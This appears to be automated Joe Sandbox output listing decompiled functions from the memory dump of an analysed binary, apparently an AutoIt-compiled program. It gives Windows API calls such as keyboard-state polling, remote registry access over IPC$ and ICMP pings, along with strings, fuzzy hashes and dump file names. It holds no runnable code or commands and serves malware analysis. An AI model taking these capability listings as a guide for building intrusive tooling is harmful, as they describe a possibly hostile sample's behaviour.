Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 5246060e4c935c230f5034831dee33f33d141ddf3d7da4feacdaf6cc5ee7b1a1
Instruction ID: 192193a75532dbe953938a6f28008ed9562a10c2cc04b434c94f66eb5be94d5f
Opcode Fuzzy Hash: 5246060e4c935c230f5034831dee33f33d141ddf3d7da4feacdaf6cc5ee7b1a1
Instruction Fuzzy Hash: CB61BA70002619EFCB259F14C968B757BF2FB41312F50AA1DE2469E6A0CB39ADD0CF90

Function 005F9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 005F9944: GetWindowLongW.USER32(?,000000EB), ref: 005F9952

GetSysColor.USER32(0000000F), ref: 005F9862

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: a40c1686f3bff53d8a4de0c4bc5663ec17e8635384121949cf4fdf3a9f8d3c23
Instruction ID: d47c4d1761f39f3ab2482a927208fe90a2a32856ef66e1269012669ae410a32e
Opcode Fuzzy Hash: a40c1686f3bff53d8a4de0c4bc5663ec17e8635384121949cf4fdf3a9f8d3c23
Instruction Fuzzy Hash: 7E41F671100A48AFDB345F389C88BB93FA6FB56370F144619FAA6872E1C7359C81DB50

Function 00618D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Strings

.`, xrefs: 0061903A, 00618FD0, 00618FF2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: .`
API String ID: 0-3826532246
Opcode ID: 11ddbb78b1473920c2fb8486d0348df66e500886466c858ad54c872ddd28f62c
Instruction ID: e148ee2720a18e2b7d4d29fbc2dd3586cb686c5588e789fe9b829428ca2690df
Opcode Fuzzy Hash: 11ddbb78b1473920c2fb8486d0348df66e500886466c858ad54c872ddd28f62c
Instruction Fuzzy Hash: 64C1C374E042499FDB25DFA8D851BEEBBB6AF09310F1C419DE814A7392C7309982CB65

Function 006496E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,0062F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00649717
LoadStringW.USER32(00000000,?,0062F7F8,00000001), ref: 00649720

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,0062F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00649742
LoadStringW.USER32(00000000,?,0062F7F8,00000001), ref: 00649745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00649866

Strings

Line %d:, xrefs: 006497A0
^ ERROR, xrefs: 006497FB
%s (%d) : ==> %s: %s %s, xrefs: 0064984A
Line %d (File "%s"):, xrefs: 0064978F
Error: , xrefs: 0064981D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: eaa73cf0a331c8f28b0da060b16dce829dfa65eb5811274529d4a8209b41a4cf
Instruction ID: c9d74f2242dd0f3f989212e0e89633dd91b4a7cfb4670153d2e0afaf4b624194
Opcode Fuzzy Hash: eaa73cf0a331c8f28b0da060b16dce829dfa65eb5811274529d4a8209b41a4cf
Instruction Fuzzy Hash: 8341507280414AAACB18FBE1CD4ADEE7B7ABF95340F600465B50572092EA356F49CB71

Function 006406DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 006407A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 006407BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 006407DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00640804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0064082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00640837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0064083C

Strings

SOFTWARE\Classes\, xrefs: 0064070E
\CLSID, xrefs: 00640724
\IPC$, xrefs: 00640784

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 8187833e31a49dd52155ff2583f41317d835d7063e5f7930d080c3852cc7dfbd
Instruction ID: 4f803ed666cffd600ee34fab557029eecd33b457d4ed0cedab79bce8d089fa3e
Opcode Fuzzy Hash: 8187833e31a49dd52155ff2583f41317d835d7063e5f7930d080c3852cc7dfbd
Instruction Fuzzy Hash: 9A413B72C00269ABDF19EBA4DC99CEDBB79BF84350F154129E945A3161EB306E44CBA0

Function 00663C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00663C5C
CoInitialize.OLE32(00000000), ref: 00663C8A
CoUninitialize.OLE32 ref: 00663C94
_wcslen.LIBCMT ref: 00663D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00663DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00663ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00663F0E
CoGetObject.OLE32(?,00000000,0067FB98,?), ref: 00663F2D
SetErrorMode.KERNEL32(00000000), ref: 00663F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00663FC4
VariantClear.OLEAUT32(?), ref: 00663FD8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 2ad0fe8181c1b8543dd78b00bbadbb7673c95c1a53fa99ff9b6e36cf9a447598
Instruction ID: 0fa6a06d6cd6d02e54ea0a7eb2e3a17450dd28ceca730d3e51afb4e1641e340e
Opcode Fuzzy Hash: 2ad0fe8181c1b8543dd78b00bbadbb7673c95c1a53fa99ff9b6e36cf9a447598
Instruction Fuzzy Hash: ADC13171608215AFD700DF68C88496BBBEAFF89744F00491DF98A9B351DB31EE46CB52

Function 00657A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00657AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00657B8F
SHGetDesktopFolder.SHELL32(?), ref: 00657BA3
CoCreateInstance.OLE32(0067FD08,00000000,00000001,006A6E6C,?), ref: 00657BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00657C74
CoTaskMemFree.OLE32(?,?), ref: 00657CCC
SHBrowseForFolderW.SHELL32(?), ref: 00657D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00657D7A
CoTaskMemFree.OLE32(00000000), ref: 00657D81
CoTaskMemFree.OLE32(00000000), ref: 00657DD6
CoUninitialize.OLE32 ref: 00657DDC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 7b9a0f05645a46fcc56c51788c05649d77d2df1eb0f99a508b48b17f2f841f67
Instruction ID: 2089db3a3fece5ecf82d9124290a52138f20e45c4e38f991afc44a9969a54a5c
Opcode Fuzzy Hash: 7b9a0f05645a46fcc56c51788c05649d77d2df1eb0f99a508b48b17f2f841f67
Instruction Fuzzy Hash: 7CC14C75A04109AFCB14DF64D888DAEBBFAFF48315F148199E8199B361D730ED45CB90

Function 0067541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00675504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00675515
CharNextW.USER32(00000158), ref: 00675544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00675585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0067559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 006755AC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 44c9bb5a1aeb4f107d1a90ca32fda8fc30537a9ba62a55aafff1db1850f59dcf
Instruction ID: e15e6badf43437076cd5b3375523c1f06052e9833993b38fcc7d1b2189442c9b
Opcode Fuzzy Hash: 44c9bb5a1aeb4f107d1a90ca32fda8fc30537a9ba62a55aafff1db1850f59dcf
Instruction Fuzzy Hash: 4A617070904609EFDF10DF54CC859FE7BBBEB05760F108189F62AAA290D7B49A81DB61

Function 0063FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0063FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0063FB08
VariantInit.OLEAUT32(?), ref: 0063FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0063FB3A
VariantCopy.OLEAUT32(?,?), ref: 0063FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0063FBA1
VariantClear.OLEAUT32(?), ref: 0063FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0063FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0063FBCC
VariantClear.OLEAUT32(?), ref: 0063FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0063FBE9

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: b52939a8411bf4a32ffe0c3eb4e9222aaa2446fc3e0be0520841ed0f4d240709
Instruction ID: 3c8a475c0fb25317d8891f6d7f59f6867a0a75ad60a350f4ba8aeb386bb425c3
Opcode Fuzzy Hash: b52939a8411bf4a32ffe0c3eb4e9222aaa2446fc3e0be0520841ed0f4d240709
Instruction Fuzzy Hash: 9E415F75E00219DFCB04DF64D858DEEBBBAFF48354F009069E95AA7261DB30A985CB90

Function 00649C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00649CA1
GetAsyncKeyState.USER32(000000A0), ref: 00649D22
GetKeyState.USER32(000000A0), ref: 00649D3D
GetAsyncKeyState.USER32(000000A1), ref: 00649D57
GetKeyState.USER32(000000A1), ref: 00649D6C
GetAsyncKeyState.USER32(00000011), ref: 00649D84
GetKeyState.USER32(00000011), ref: 00649D96
GetAsyncKeyState.USER32(00000012), ref: 00649DAE
GetKeyState.USER32(00000012), ref: 00649DC0
GetAsyncKeyState.USER32(0000005B), ref: 00649DD8
GetKeyState.USER32(0000005B), ref: 00649DEA

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 054d83d3da1d8c68bfdd8ebc9a29aa380caff9bba040af3d586eecf03f878776
Instruction ID: 720f07d48e0e6b207517650c572ebdcc993858d86a5cafcf5cd4cd073c45d042
Opcode Fuzzy Hash: 054d83d3da1d8c68bfdd8ebc9a29aa380caff9bba040af3d586eecf03f878776
Instruction Fuzzy Hash: E541E830984BC96DFF348A6088443F7BEA36F12304F04805EC6C6563C2DBA599C4CBB2

Function 0066055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 006605BC
inet_addr.WSOCK32(?), ref: 0066061C
gethostbyname.WSOCK32(?), ref: 00660628
IcmpCreateFile.IPHLPAPI ref: 00660636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 006606C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 006606E5
IcmpCloseHandle.IPHLPAPI(?), ref: 006607B9
WSACleanup.WSOCK32 ref: 006607BF

Strings

Ping, xrefs: 00660676

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 322b4cfc4d37d23d57843bc74f18dee37f642441e9989e56ee681e78d179926f
Instruction ID: 725b7d7905d0aa3039ab16eaf8b65ca29c760e7037f6bf2ba4d16ea1f172c5d9
Opcode Fuzzy Hash: 322b4cfc4d37d23d57843bc74f18dee37f642441e9989e56ee681e78d179926f
Instruction Fuzzy Hash: DE917C35604241AFE324DF15D588F5ABFE2BF84318F1485A9E46A8B7A2C730ED85CF91

Function 00668CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00668CF3

Part of subcall function 00648E54: _wcslen.LIBCMT ref: 00648E77

_wcslen.LIBCMT ref: 00668D4E
_wcslen.LIBCMT ref: 00668D9C
_wcslen.LIBCMT ref: 00668DDC
_wcslen.LIBCMT ref: 00668E6E

Strings

cdecl, xrefs: 00668D48, 00668D4D
none, xrefs: 00668E65, 00668E6A
winapi, xrefs: 00668D96, 00668D9B
stdcall, xrefs: 00668DD6, 00668DDB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: fdb8d3fe881d6978c4a5b336febb6d99e63c9cf9053fbb586b26cb34b9b989f2
Instruction ID: 80a9d4eafde5fd8a98fbf920e7616d6aef509e1a1a15a3b95aa71a6e1790a79b
Opcode Fuzzy Hash: fdb8d3fe881d6978c4a5b336febb6d99e63c9cf9053fbb586b26cb34b9b989f2
Instruction Fuzzy Hash: 35518C72A041169FCB24DF78C9509FEB7A6BF65324B204329E966A73C4DB31DD408BA0

Function 0066372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00663774
CoUninitialize.OLE32 ref: 0066377F
CoCreateInstance.OLE32(?,00000000,00000017,0067FB78,?), ref: 006637D9
IIDFromString.OLE32(?,?), ref: 0066384C
VariantInit.OLEAUT32(?), ref: 006638E4
VariantClear.OLEAUT32(?), ref: 00663936

Strings

Failed to create object, xrefs: 006637E4, 0066389A
NULL Pointer assignment, xrefs: 0066381E
Invalid parameter, xrefs: 00663865

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 34b5653c4fd54326994ed8a29b6d9a194549b16fe18cc61da69a994839a6bf99
Instruction ID: a73a9921e44b0a7762fffcab9cde26cf8caeefad0a026d96061d6c61ed4b33a3
Opcode Fuzzy Hash: 34b5653c4fd54326994ed8a29b6d9a194549b16fe18cc61da69a994839a6bf99
Instruction Fuzzy Hash: E761A070608321AFD310DF54C849BAABBEAEF89710F00090DF9859B391D770EE49CB96

Function 00678B02 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

Part of subcall function 005F912D: GetCursorPos.USER32(?), ref: 005F9141
Part of subcall function 005F912D: ScreenToClient.USER32(00000000,?), ref: 005F915E
Part of subcall function 005F912D: GetAsyncKeyState.USER32(00000001), ref: 005F9183
Part of subcall function 005F912D: GetAsyncKeyState.USER32(00000002), ref: 005F919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00678B6B
ImageList_EndDrag.COMCTL32 ref: 00678B71
ReleaseCapture.USER32 ref: 00678B77
SetWindowTextW.USER32(?,00000000), ref: 00678C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00678C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00678CFF

Strings

@GUI_DROPID, xrefs: 00678C51
p#k, xrefs: 00678C71
@GUI_DRAGFILE, xrefs: 00678C9A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID$p#k
API String ID: 1924731296-2800194813
Opcode ID: 98794699edf19e81a4a1bd9b163e889c2c39a6948adc84c29bc7e2945002dbcd
Instruction ID: 721a61c0c43bd09deb57bc983f76e742e67d82447e6eecbd06f0ede1c47b30fc
Opcode Fuzzy Hash: 98794699edf19e81a4a1bd9b163e889c2c39a6948adc84c29bc7e2945002dbcd
Instruction Fuzzy Hash: 0D518E71104344AFD704EF14CC5AFAA7BE6FB84710F40062DF999572A1CB719D44CB62

Function 00653388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 006533CF

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 006533F0

Strings

Incorrect parameters to object property !, xrefs: 006534AB
^ ERROR , xrefs: 0065349E
"%s" (%d) : ==> %s:%s%s, xrefs: 00653504
"%s" (%d) : ==> %s:, xrefs: 00653522
Line %d (File "%s"):, xrefs: 00653443, 0065345C
Error: , xrefs: 006534D1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 7235b1a334046641cf37ee943ab1d62a8fd55bb2a755ef459410214a2dd56e7a
Instruction ID: cbb2f04de186dc0df6490ec79642a2586ce03d201f238064a72a55e42eeb006f
Opcode Fuzzy Hash: 7235b1a334046641cf37ee943ab1d62a8fd55bb2a755ef459410214a2dd56e7a
Instruction Fuzzy Hash: DE51B37180014AAADF19EBA0CD4AEEEBBBAFF45740F244165F50572161EB312F98CF60

Function 0064B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 0064B5FC
_wcslen.LIBCMT ref: 0064B608
_wcslen.LIBCMT ref: 0064B64D
_wcslen.LIBCMT ref: 0064B68C
_wcslen.LIBCMT ref: 0064B6C7

Strings

APPEND, xrefs: 0064B6C1, 0064B6C6
EXISTS, xrefs: 0064B686, 0064B68B
REMOVE, xrefs: 0064B602, 0064B607
KEYS, xrefs: 0064B647, 0064B64C

Memory Dump Source

